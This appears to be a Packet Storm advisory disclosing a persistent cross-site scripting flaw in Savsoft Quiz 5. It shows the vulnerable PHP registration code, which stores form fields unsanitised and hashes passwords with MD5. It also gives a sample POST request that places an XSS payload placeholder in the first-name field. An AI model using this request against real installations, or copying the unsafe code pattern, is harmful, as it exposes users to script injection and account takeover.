what you don't know can hurt you

Savsoft Quiz 5 Cross Site Scripting

Savsoft Quiz 5 Cross Site Scripting
Posted Jul 9, 2020
Authored by th3d1gger

Savsoft Quiz version 5 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 95176c76c0355bece50fe077b3d503d1

Savsoft Quiz 5 Cross Site Scripting

Change Mirror Download
# Exploit Title: Savsoft Quiz V5 - Persistent Cross-Site Scripting
# Date: 2020-07-09
# Exploit Author: th3d1gger
# Vendor Homepage: https://savsoftquiz.com/
# Software Link: https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Kali Linux

---Vulnerable Source Code----
function insert_user_2(){

$userdata=array(
'email'=>$this->input->post('email'),
'password'=>md5($this->input->post('password')),
'first_name'=>$this->input->post('first_name'),
'last_name'=>$this->input->post('last_name'),
'contact_no'=>$this->input->post('contact_no'),
'gid'=>implode(',',$this->input->post('gid')),
'su'=>'2'
);
$veri_code=rand('1111','9999');
if($this->config->item('verify_email')){
$userdata['verify_code']=$veri_code;
}
if($this->session->userdata('logged_in_raw')){
$userraw=$this->session->userdata('logged_in_raw');
$userraw_uid=$userraw['uid'];
$this->db->where('uid',$userraw_uid);
$rresult=$this->db->update('savsoft_users',$userdata);
if($this->session->userdata('logged_in_raw')){
$this->session->unset_userdata('logged_in_raw');
}
}else{

$rresult=$this->db->insert('savsoft_users',$userdata);
$uid=$this->db->insert_id();
foreach($_POST['custom'] as $ck => $cv){
if($cv != ''){
$savsoft_users_custom=array(
'field_id'=>$ck,
'uid'=>$uid,
'field_values'=>$cv
);
$this->db->insert('savsoft_users_custom',$savsoft_users_custom);
}
}










----Vulnerable Request---
POST /index.php/login/insert_user/ HTTP/1.1
Host: savsoftquiz_v5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/index.php/login/registration/
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
Connection: close
Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
Upgrade-Insecure-Requests: 1

email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close